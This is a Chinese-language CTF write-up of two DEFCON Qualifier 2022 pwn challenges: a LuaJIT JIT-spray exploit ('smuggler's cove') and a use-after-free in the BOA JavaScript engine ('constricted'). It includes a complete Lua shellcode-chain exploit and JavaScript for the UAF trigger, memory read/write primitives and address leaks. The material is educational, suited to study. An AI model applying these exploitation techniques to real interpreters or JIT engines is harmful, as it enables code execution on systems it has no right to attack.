DEFCON-Qualifier-2022 pwn smuggler's cove/constricted 题解
字数 1391 2025-08-27 12:33:37
DEFCON Qualifier 2022 Pwn题解:smuggler's cove与constricted
1. smuggler's cove题解
1.1 漏洞分析
这道题目是一个C语言实现的LuaJIT包装,关键漏洞在于debug_jit函数中可以重新设置JIT代码的初始执行位置:
int debug_jit(lua_State* L) {
// ...
if (offset != 0) {
if (offset >= t->szmcode - 1) {
return luaL_error(L, "Avast! Offset too large!");
}
t->mcode += offset;
t->szmcode -= offset;
printf("... yarr let ye apply a secret offset, cargo is now %p ...\n", t->mcode);
}
// ...
}
这个功能允许跳转到JIT代码(mcode)中的任意位置执行,即使该位置不是一条完整的指令起始位置。这种技术被称为JIT Spray。
1.2 JIT Spray技术原理
JIT Spray的核心思想是利用即时编译生成的代码中的常量数据作为可执行代码。论文《SoK: Make JIT-Spray Great Again》中给出了一个ActionScript的例子:
var y = (0x3c909090 ^ 0x3c909090 ^ 0x3c909090 ^ ...);
生成的汇编代码:
0x00: B8 9090903C mov eax, 0x3c909090
0x05: 35 9090903C xor eax, 0x3c909090
0x0a: 35 9090903C xor eax, 0x3c909090
如果从偏移1处开始执行,这些常量数据会被解释为:
0x01: 90 nop
0x02: 90 nop
0x03: 90 nop
0x04: 3C35 cmp al, 0x35
0x06: 90 nop
0x07: 90 nop
0x08: 90 nop
0x09: 3C35 cmp al, 0x35
0x0b: 90 nop
0x0c: 90 nop
0x0d: 90 nop
1.3 构造立即数
在LuaJIT中,发现数组索引值会成为8字节的立即数:
a = {}
function b()
a[0x1111111111111] = 0x2222222222222;
end
b(); b(); cargo(b, 0x0); b();
1.4 Shellcode链构造
利用8字节立即数构造shellcode链,每个8字节块包含:
- 最多6字节的有效指令
- 2字节的短跳转指令(
\xeb + offset-2)
目标shellcode需要执行:
execve("./dig_up_the_loot", {"./dig_up_the_loot", "x", "marks", "the", "spot", NULL}, NULL);
1.5 优化exp长度
题目限制exp长度为433字节,通过以下方法优化:
- 将字符串直接写入exp代码
- 利用JIT内可访问的源码内存区域
- 精简shellcode指令
最终exp:
a = {}
c = "./dig_up_the_loot\x00x\x00marks\x00the\x00spot"
function b(s)
a[6.296558090174646e-155]=0;
a[2.41846297676398e-222]=0;
a[1.8879529989201158e-193]=0;
a[1.8879518185292636e-193]=0;
a[1.8879517130205247e-193]=0;
a[1.8879517211856508e-193]=0;
a[1.8879517048553986e-193]=0;
a[1.8879517701764074e-193]=0;
a[2.6348604765033886e-284]=0;
end
b(c); b(); cargo(b, 0x6a); b(c);
2. constricted题解
2.1 补丁分析
题目基于Rust实现的JavaScript解释器BOA,关键补丁是实现了TimeCache作为OrderedMap<TimeCachedValue>的包装:
pub(crate) struct TimedCache(OrderedMap<TimeCachedValue>);
pub struct TimeCachedValue {
expire: u128,
data: JsObject,
}
TimeCachedValue的Trace方法根据到期时间决定是否标记data对象:
unsafe impl Trace for TimeCachedValue {
custom_trace!(this, {
if !this.is_expired() {
mark(&this.data)
}
});
}
2.2 关键方法
set(key, value, lifetime)- 插入键值对,到期时间=当前时间+lifetimeget(key, lifetime=null)- 获取对象,可重新设置lifetimehas(key)- 检查对象是否存在
2.3 漏洞分析
漏洞存在于get方法中:
- 检查对象是否过期
- 如果提供了新的lifetime,计算新的到期时间
- 返回对象
问题在于计算新的到期时间时可能触发回调函数,而在回调中可以释放对象,导致UAF。
2.4 漏洞利用
利用步骤:
- 设置一个即将过期的对象
tc.set("first", {1: {}}, 1000);
- 使用带有
valueOf回调的fake_expire_time获取对象
var fake_expire_time = {1: 2};
fake_expire_time.valueOf = function() {
console.sleep(2000);
console.collectGarbage();
overlap = new ArrayBuffer(0x150);
return -1;
};
var freed_obj = tc.get("first", fake_expire_time);
-
通过ArrayBuffer占位控制释放的内存
-
构造任意地址读写原语:
var view = new DataView(overlap);
function set64(view, idx, value) {
view.setBigUint64(idx, value, true);
}
function get64(view, idx) {
return view.getBigUint64(idx, true);
}
- 泄露地址信息:
var code_addr = get64(view_anywhere, 0x10 + 0x80) - 0x11c9db0n;
var stack_addr = get64(view_anywhere, 0x60 + 0x80);
- 最终利用:
- 由于Ubuntu 20.04的onegadget条件苛刻,采用ROP方案
- 在栈上喷射大量ret指令确保ROP稳定执行
- 构造ROP链实现利用
3. 总结
这两道题目展示了高级利用技术:
- smuggler's cove:利用JIT Spray技术,通过精心构造的立即数形成shellcode链
- constricted:利用JavaScript引擎中的UAF漏洞,结合垃圾回收机制实现内存控制
关键学习点:
- JIT Spray的原理和实际应用
- 浏览器/JS引擎中UAF漏洞的利用方法
- 复杂环境下的利用技术(如ROP替代onegadget)
- 内存布局分析和利用构造技巧